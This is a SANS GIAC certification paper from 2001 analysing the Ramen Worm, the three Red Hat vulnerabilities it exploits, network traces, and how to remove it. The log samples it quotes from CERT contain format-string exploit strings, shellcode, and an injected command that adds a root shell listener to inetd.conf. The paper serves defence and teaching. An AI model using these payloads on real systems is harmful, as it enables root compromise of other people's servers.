Global Information Assurance Certification Paper

The Ramen Worm and its use of rpc.statd, wu-ftpd and LPRng Vulnerabilities in Red Hat Linux

morgan lestat
02/07/01

Overview

The Ramen Worm is a self-replicating package of malicious software (malware) affecting unpatched Red Hat Linux 6.2 and 7.0 systems. The worm has infected commercial, government and educational institutions worldwide including servers owned by NASA and Texas A & M University.

This document will describe the worm and its effects as well as the method of propagation and the vulnerabilities exploited to compromise victims. Network traces submitted to GIAC with possible Ramen Worm activity have been included for reference. Additionally, information will be provided on Ramen Worm prevention and removal. Finally, a brief section will cover possible future concerns.

The Ramen Worm and its Effects

A worm is defined as "a self-contained program (or set of programs), that is able to spread functional copies of itself to other computer systems (usually via a network)."[1] The Ramen Worm for Linux clearly demonstrates these characteristics. It is interesting to note that the Ramen Worm is one of the first examples of Linux specific malicious code found "in the wild".

The Ramen Worm was discovered in mid-January of 2001 as it began infecting Internet systems. The exploits it uses for system compromise, however, have been known and documented for some time. The worm specifically targets Red Hat Linux 6.2 and 7.0 systems looking for common vulnerabilities found in many default implementations. Despite the existence of these same vulnerabilities in other Linux distributions, and even other forms of UNIX, the Ramen Worm is coded specifically to look for Red Hat.

The primary goals of the worm appear to be web site defacement and self-propagation. An established instance of the worm scans randomly generated network blocks for potential victims. Once a candidate is found, the worm attempts the appropriate platform specific exploit to gain privileged (root) access. Once compromised, the victim will request a copy of the worm package from the attacker and install the software. Any index.html files found on the system are then replaced with a page similar to that demonstrated below.

RameN Crew

Hackers looooooooooooooooove noodles.™

This site powered by

The Anatomy of the Ramen Worm

The Ramen Worm software package or "toolkit" is comprised of a collection of hacker tools, shell scripts and supporting data. It attacks systems by exploiting well-known vulnerabilities in three commonly installed software packages in order to gain privileged system access.

Once infected, the victim host executes the start.sh script. This script generates a random Class B network address and begins to scan it for new victim hosts. The initial scans are for port 21 (FTP). Dates found in any returned FTP headers are then checked in order to fingerprint for the desired target operating system and version.

When a potentially vulnerable system is discovered, the worm starts a propagation script based on which vulnerability(ies) are likely to exist. Propagation scripts run in parallel to victim scans enabling the worm to work quickly therefore the time between probe and exploit attempt may be relatively short. This behavior may result in denial of service (DoS) or bandwidth consumption symptoms, especially when multiple infected hosts are present in a given location.

Using one of the exploits described below, the Ramen Worm creates the target directory "/usr/src/.poop" for itself on the victim host. It then requests a copy of itself (ramen.tgz) using the victim's Lynx web browser and an HTTP-like service called ASP which is installed on the attacker. The ASP service is added to "/etc/inetd.conf" on Red Hat 6.2 systems or under "/etc/xinetd.d" on those with version 7.0. It is activated on port 27374 of the attacking host.

Once resident on the new victim, the Ramen Worm will replace any index.html file that it

finds on both local and remotely mounted file systems including those used for web sites and documentation purposes. It will also add a script to the end of "/etc/rc.d/rc.sysinit" to initiate scanning and propagation on system startup, establish its propagation service on port 27374 and send emails containing the IP address of the victim host to the anonymous 'elite' mailboxes gb31337@hotmail.com and gb31337@yahoo.com. Before starting the scan process to look for new victims, the worm disables existing FTP and rpc.statd services – presumably to prevent re-infection. Additional actions taken by the worm include the removal or modification of the files "/sbin/rpc.statd", "/usr/sbin/rpc.statd", "/usr/sbin/lpd" and "/etc/hosts.deny", addition of the file "asp" in either "/sbin" or "/usr/sbin" and the addition of the usernames "ftp" and "anonymous" to the "/etc/ftpusers" file. More details can be found in the CERT incident note located at http://www.cert.org/incident_notes/IN-2001-01.html.

Exploits Used to Compromise Victim Hosts

As stated above, the initial targeting scans performed against victims are used to identify hosts running Red Hat Linux versions 6.2 or 7.0. This process allows the worm to determine which vulnerability(ies) to choose when trying to gain system access. Each exploit was documented and identified during the last half of 2000 by CERT. Most affected vendors released system patches soon after.

While no evidence of other host-based malicious activity has been reported in conjunction with the Ramen Worm to date, it should be noted that all exploits used to access victim systems provide root level compromise. Victims suspecting additional intrusion activity in conjunction with the exploits described may wish refer to the steps outlined in the CERT Intrusion Detection Checklist located at http://www.cert.org/tech_tips/intruder_detection_checklist.html. Additional help may be found in the CERT guidelines for recovering from a UNIX or system compromise, which are available at http://www.cert.org/tech_tips/root_compromise.html.

Red Hat Version 6.2 Vulnerabilities

The two exploits used by the Ramen Worm against 6.2 systems are popular in their own right. The wu-ftpd site_exec() and rpc.statd vulnerabilities were described in a CERT incident note release in September of 2000 which is located at http://www.cert.org/incident_notes/IN-2000-10.html. This incident note describes the use of these exploits for the insertion of the t0rnkit rootkit as well as the Tribe Flood Network (TFN), Tribe Flood Network 2000 (TFN2K) and Stacheldraht 1.666+smurf+yps DDoS tools.

The wu-ftpd site_exec() Vulnerability

CERT Advisory Number: **CA-2000-13** located at
http://www.cert.org/advisories/CA-2000-13.html
CERT Vulnerability Note: **VU 29823** located at http://www.kb.cert.org/vuls/id/29823
CVE Name: **CAN-2000-0573**

From the CERT Advisory listed above:

*"The wu-ftpd 'site exec' vulnerability is the result of [a] missing character-formatting argument in several function calls that implement the 'site exec' command functionality. Normally if 'site exec' is enabled, a user logged into an ftp server (including the 'ftp' or 'anonymous' user) may execute a restricted subset of quoted commands on the server itself. However, if a malicious user can pass character format strings consisting of carefully constructed *printf() conversion characters (%f, %p, %n, etc.) while executing a 'site exec' command, the ftp daemon may be tricked into executing arbitrary code as root.*

"The 'site exec' vulnerability appears to have been in the wu-ftpd code since the original wu-ftpd 2.0 came out in 1993. Any vendors who have based their own ftpd distributions on this vulnerable code are also likely to be vulnerable.

"The vulnerability appears to be exploitable if a local user account can be used for ftp login. Also, if the 'site exec' command functionality is enabled, then anonymous ftp login allows sufficient access for an attack.

"One possible indication you are being attacked with [this] vulnerabilit[y] may be the appearance of syslog entries similar to the following:"

```
Jul  4 17:43:25 victim ftpd[3408]: USER ftp
Jul  4 17:43:25 victim ftpd[3408]: PASS [malicious shellcode]
Jul  4 17:43:26 victim ftpd[3408]: ANONYMOUS FTP LOGIN FROM
attacker.example.com [10.29.23.19], [malicious shellcode]
Jul  4 17:43:28 victim ftpd[3408]: SITE EXEC (lines: 0):
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
Jul  4 17:43:28 victim ftpd[3408]: FTP session closed
```

Suggested solutions to the wu-ftpd site_exec() vulnerability include:

- Upgrade the FTP software to a non-vulnerable version.
- Patch the existing FTP daemon to a non-vulnerable release as supplied by the vendor.
- Disable FTP services.

The rpc.statd Vulnerability
CERT Advisory Number: **CA-2000-17** located at
http://www.cert.org/advisories/CA-2000-17.html
CERT Vulnerability Note: **VU 34043** located at http://www.kb.cert.org/vuls/id/34043
CVE Name: **CVE-2000-0666**

From the CERT Advisory listed above:

"The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.

"The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring:"

```
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000bffff7
040000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v

<83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
```

Suggested solutions to the rpc.statd vulnerability include:

- Patch the existing rpc.statd software to a non-vulnerable release as supplied by the vendor.
- Disable the rpc.statd service. Note that this may interfere with NFS functionality.
- Block any unneeded ports on the network firewall. Look for port 111 (Portmapper) as well as the port on which rpc.statd is running. This does not repair the vulnerability or stop users inside the firewall from using this exploit but may prevent unauthorized connections from the public Internet.

Red Hat Version 7.0 Vulnerability

The Ramen Worm targets a bug called the "format string vulnerability" in the LPRng software package shipped with early versions of Red Hat 7.0. Red Hat 7.0 for Intel Second Edition (Respin) is believed not to be vulnerable.

The LPRng Vulnerability

CERT Advisory Number: **CA-2000-22** located at
http://www.cert.org/advisories/CA-2000-22.html

CERT Vulnerability Note: **VU 382365** located at http://www.kb.cert.org/vuls/id/382365
CVE Name: **CVE-2000-0917**

From the CERT Advisory listed above:

"LPRng, now being packaged in several open-source operating system distributions, has a missing format string argument in at least two calls to the syslog() function.

*"Missing format strings in function calls allow user-supplied arguments to be passed to a susceptible *snprintf() function call. Remote users with access to the printer port (port 515/tcp) may be able to pass format-string parameters that can overwrite arbitrary addresses in the printing service's address space. Such overwriting can cause segmentation violations leading to denial of printing services or to the execution of arbitrary code injected through other means into the memory segments of the printer service.*

"Sample syslog entries from successful exploitation of this vulnerability have been reported, as follows:"

```
Nov 26 10:01:00 foo SERVER[12345]: Dispatch_input: bad request line
'BB{E8}{F3}{FF}{BF}{E9}{F3}{FF}{BF}{EA}{F3}{FF}{BF}{EB}{F3}{FF}{BF}
XXXXXXXXXXXXXXXXXX%.168u%300$nsecurity.%301 $nsecurity%302$n%.192u%303$n
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}{90}
{90}{90}
1{DB}1{C9}1{C0}{B0}F{CD}{80}{89}{E5}1{D2}{B2}f{89}{D0}1{C9}{89}{CB}C{89}
 ]{F8}C{89}]{F4}K{89}M{FC}{8D}M{F4}{CD}{80}1{C9}{89}E{F4}Cf{89}]{EC}f{C7}
E{EE}{F}'{89}M{F0}{8D}E{EC}{89}E{F8}{C6}E{FC}{10}{89}{D0}{8D}
M{F4}{CD}{80}{89}{D0}CC{CD}{80}{89}{D0}C{CD}{80}{89}{C3}1{C9}{B2}
?{89}{D0}{CD}{80}{89}{D0}A{CD}{80}{EB}{18}^{89}u{8}1{C0}{88}F{7}{89}
E{C}{B0}{B}{89}{F3}{8D}M{8}{8D}U{C}{CD}{80}{E8}{E3}{FF}{FF}{FF}/bin/sh{A}'
```

Suggested solutions to the LPRng vulnerability include:

- Patch the existing LPRng software to a non-vulnerable release as supplied by the vendor.
- Obtain a non-vulnerable version of LPRng from ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz.
- Block any unneeded ports on the network firewall. Look for TCP port 515. This does not repair the vulnerability or stop users inside the firewall from using this exploit but may prevent unauthorized connections from the public Internet.

Possible Ramen Worm Traces from GIAC

Several traces of suspected Ramen Worm activity from recent GIAC posts have been included for reference below. The name of the analyst who made the capture has been included above each entry along with the GIAC report date.

Trace 1 from Laurie@edu taken from Report Date February 6, 2001 – 1000 appears to be a compromised victim host searching for a location with ASP installed in order to download the ramen.tgz file. Since it is assumed in the anatomy section above that the victim host would fetch the ramen.tgz file directly from the attacker, could this be someone attempting to find a compromised host and thereby obtain the source code?

```
Feb  2 15:06:07 205.251.254.113:2107 -> a.b.c.15:27374 SYN ******S*
Feb  2 15:06:07 205.251.254.113:2122 -> a.b.c.30:27374 SYN ******S*
Feb  2 15:06:07 205.251.254.113:2124 -> a.b.c.32:27374 SYN ******S*
Feb  2 15:06:07 205.251.254.113:2146 -> a.b.c.54:27374 SYN ******S*
Feb  2 15:06:08 205.251.254.113:2163 -> a.b.c.71:27374 SYN ******S*
Feb  2 15:06:08 205.251.254.113:2172 -> a.b.c.80:27374 SYN ******S*
Feb  2 15:06:08 205.251.254.113:2193 -> a.b.c.101:27374 SYN ******S*
Feb  2 15:06:08 205.251.254.113:2206 -> a.b.c.114:27374 SYN ******S*
Feb  2 15:06:09 205.251.254.113:2230 -> a.b.c.138:27374 SYN ******S*
Feb  2 15:06:10 205.251.254.113:2303 -> a.b.c.211:27374 SYN ******S*
Feb  2 15:06:10 205.251.254.113:2304 -> a.b.c.212:27374 SYN ******S*
```

Traces 2 and 3 are interesting since they show variations on the possible method(s) used by the Ramen Worm to scan FTP ports for potential victim hosts.

Trace 2 and analysis from Security@auckland is taken from Report Date January 25, 2001 – 1000. Note that I have obscured the destination address from the following GIAC trace.

Security@auckland had many more similar traces. If the analysis is correct and the trace complete it would appear that the FTP scans are implemented using FIN only. This may be an attempt to evade detection. Given that a FIN only packet would result in a TCP Reset for non-listening ports and most likely no response from listening ports, it could be assumed that hosts suspected of having an active FTP service would then be re-queried with the usual three way handshake.

"On Tue 23 Jan 2001 at 17:38 (UTC) we detected a scan of tcp-21 ports in part of our network. This incident appears to have originated from 208.181.120.242. This machine is a victim of ramen worm, it is listening on tcp 27374. Sample logs, times are UTC + 1300, GPS synchronized:"

```
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.39.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.40.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.41.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.42.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.43.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.44.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.45.21   F
24 Jan 01 06:38:17     tcp 208.181.120.242.21   ?>   X.Y.Z.46.21   F
```

24 Jan 01 06:38:17	tcp 208.181.120.242.21	?>	X.Y.Z.47.21	F
24 Jan 01 06:38:17	tcp 208.181.120.242.21	?>	X.Y.Z.48.21	F
24 Jan 01 06:38:17	tcp 208.181.120.242.21	?>	X.Y.Z.49.21	F
24 Jan 01 06:38:17	tcp 208.181.120.242.21	?>	X.Y.Z.50.21	F
24 Jan 01 06:38:18	tcp 208.181.120.242.21	?>	X.Y.Z.51.21	F

Trace 3 and analysis from Marc Reibstein taken from Report Date January 18, 2001 – 0900, shows an actual FTP connection attempt logged by his firewall. This could be evidence of the second step in propagation following an initial scan as suggested above. Alternatively, the Ramen Worm code may allow for rotating scan patterns, or either of the two results could be caused by another undetermined factor.

Note that I have obscured the destination address from the following GIAC trace.

"This one's interesting. The source port is 21 as well as the destination. The [source machine's] web site may also have been defaced. A text-only browse yielded the following html source:"

RameN Crew

Hackers looooooooooooooooove noodles.™

This site powered by

"Oh, well. I guess every boy needs a hobby. My firewall has reported an unauthorized connection attempt from an IP that appears to be on your network. The relevant firewall log entry follows:"

01/16/2001 01:37:11 in 148.223.142.202[21] --> A.B.C.54[21]

Impact of the Ramen Worm

The Ramen Worm effects vulnerable systems causing root compromise via the exploits described above. The web presence of compromised systems may be corrupted leading to site defacement and possible loss of productivity and/or revenue due to broken web applications. Productivity may also be lost due to altered or destroyed system files and services as detailed above. The overall security of compromised hosts may be reduced through the loss of the "/etc/hosts.deny" file. Additionally, the automatic scan and propagation mechanisms employed by the worm may result in localized denial of service conditions and is highly likely to cause victim hosts to participate in new attacks directed against other Internet sites

Cures and Prevention

The Ramen Worm does not attempt to hide its presence on infected machines. It can be detected (in addition to a defaced web page) by the presence of the "/usr/src/.poop" directory or by the presence of the file "asp" in either the "/sbin" or "/usr/sbin"

directories.

"William Stearns has written a script to detect the Ramen Worm. He can be reached at wstearns@pobox.com."[2] Version 0.3 of the ramenfind script was last updated on 02/05/2001 and can be found at http://www.sans.org/y2k/ramenfind.v0.3.gz.

The Ramen Worm can be removed by following the steps listed below. These instructions came from the ISS Ramen Worm Security Alert located at http://xforce.iss.net/alerts/advise71.php.

1) *Delete: "/usr/src/.poop" and "/sbin/asp"*
2) *If it exists, remove: "/etc/xinetd.d/asp"*
3) *Remove all lines in "/etc/rc.d/rc.sysinit" which refer to any file in "/etc/src/.poop".*
4) *Remove any lines in "/etc/inetd.conf" referring to "/sbin/asp"*
5) *Reboot the system or manually kill any processes such as synscan, start.sh, scan.sh, hackl.sh, or hackw.sh.*
6) *ISS recommends that ftp, rpc.statd, or lpr are not enabled until updates have been installed.*

In addition, it may be necessary to perform the following steps:

1) Remove "/usr/sbin/asp" if it exists
2) Recreate "/etc/hosts.deny"
3) Modify the "/etc/ftpusers" file in accordance with the site security policy
4) Reinstall base level FTP, rpc.statd and LPRng packages if necessary before applying updates if these files have been removed or altered by the worm.

To prevent future infections, clean hosts should be patched with the appropriate software updates as described in the exploits and vulnerabilities section above. Additionally, site administrators should consider disabling FTP services altogether on hosts that do not require them and blocking or disabling untrusted network access to RPC and LPR services.

Site administrators should also subscribe to vendor and/or security specific mailing lists in order to stay informed about new patches and relevant vulnerabilities. Simply keeping patch levels up-to-date could have prevented most of the damage caused by the Ramen Worm.

At a minimum, site administrators may wish to block inbound and outbound TCP port 27374 connections, as well as any other unneeded ports, to prevent newly infected hosts from acquiring the worm software package. Intrusion detection systems can also be calibrated to watch for Ramen Worm signatures.

Future Concerns

The Ramen Worm itself does relatively little harm to the systems that it infects. However, the worm code is reported to be generally available and reasonably simple to modify. Concern has already been voiced in the security community that more lethal mutations of the original worm may soon appear. It should also be noted that even though the Ramen Worm was only set to trigger against Red Hat Linux systems that some or all of its core exploits also work against various versions of Caldera, SuSE, Debian and Mandrake Linux as well as HPUX.

The risk inherent in the propagation of the Ramen Worm is deceptive, as the worm itself appears to cause little real damage. Rather, the true danger lies in the possibility that others will use the worm as a springboard for the creation of much deadlier intrusions in the days ahead.

References

1. Kerby, Fred, "Malicious Software (Malware) – SANS GIAC LevelOne Security Essentials" Version 1.5 (09/25/2000)

2. Symantec SARC, "Linux.Ramen.Worm" (01/18/2001) http://service1.symantec.com/sarc/sarc.nsf/html/Linux.Ramen.Worm.html (02/07/2001)

3. Caterinicchia, Dan, "Linux Worm hits NASA, others" Federal Computer Week (01/26/2001) http://www.fcw.com/fcw/articles/2001/0122/web-worm-01-26-01.asp (02/07/2001)

4. Evans, James, "Ramen Linux worm seen in wild" CNN.com (01/29/2001) http://www.cnn.com/2001/TECH/computing/01/29/wild.ramen.idg/index.html (02/07/2001)

5. Lemos, Robert, "Internet worm squirms into Linux servers" CNET News.com (01/17/2001) http://news.cnet.com/news/0-1003-200-4508359.html (02/07/2001)

6. Internet Security Systems, "Ramen Linux Worm Propagation" (01/18/2001) http://xforce.iss.net/alerts/advise71.php (02/07/2001)

7. SANS GIAC, "Ramen Worm" http://www.sans.org/y2k/ramen.htm (02/07/2001)

8. CERT, "Widespread Compromises via 'ramen' Toolkit" (01/18/2001) http://www.cert.org/incident_notes/IN-2001-01.html (02/07/2001)

9. CERT, "Widespread Exploitation of rpc.statd and wu-ftpd Vulnerabilities" (09/15/2000) http://www.cert.org/incident_notes/IN-2000-10.html (02/07/2001)

10. CERT, "Two Input Validation Problems In FTPD" (11/21/2000) http://www.cert.org/advisories/CA-2000-13.html (02/07/2001)

11. CERT, “Input Validation Problem in rpc.statd” (09/06/2000) http://www.cert.org/advisories/CA-2000-17.html (02/07/2001)

12. CERT, “Input Validation Problems in LPRng” (12/12/2000) http://www.cert.org/advisories/CA-2000-22.html (02/07/2001)

13. SANS GIAC, “GIAC Report Date: January 25, 2001 - 1000” http://www.sans.org/y2k/012501.htm (02/07/2001)

14. SANS GIAC, “GIAC Report Date: January 18, 2001 - 0900” http://www.sans.org/y2k/012001.htm (02/07/2001)

15. SANS GIAC, “GIAC Report Date: February 6, 2001 - 1000” http://www.sans.org/y2k/020601-1000.htm (02/07/2001)

16. Lemos, Robert, “Ramen Linux worm mutating, multiplying” CNET News.com (01/22/2001) http://news.cnet.com/news/0-1003-201-4561189-0.html (02/07/2001)

17. Northcutt, Stephen & Novak, Judy, “Network Intrusion Detection – An Analyst’s Handbook” Second Edition, Copyright 2001 by New Riders Publishing

---

[1] Kerby, Fred, “Malicious Software (Malware) – SANS GIAC LevelOne Security Essentials” Version 1.5 (09/25/2000)

[2] SANS GIAC, “Ramen Worm” http://www.sans.org/y2k/ramen.htm (02/07/2001)

© SANS Institute 2000 - 2005 Author retains full rights.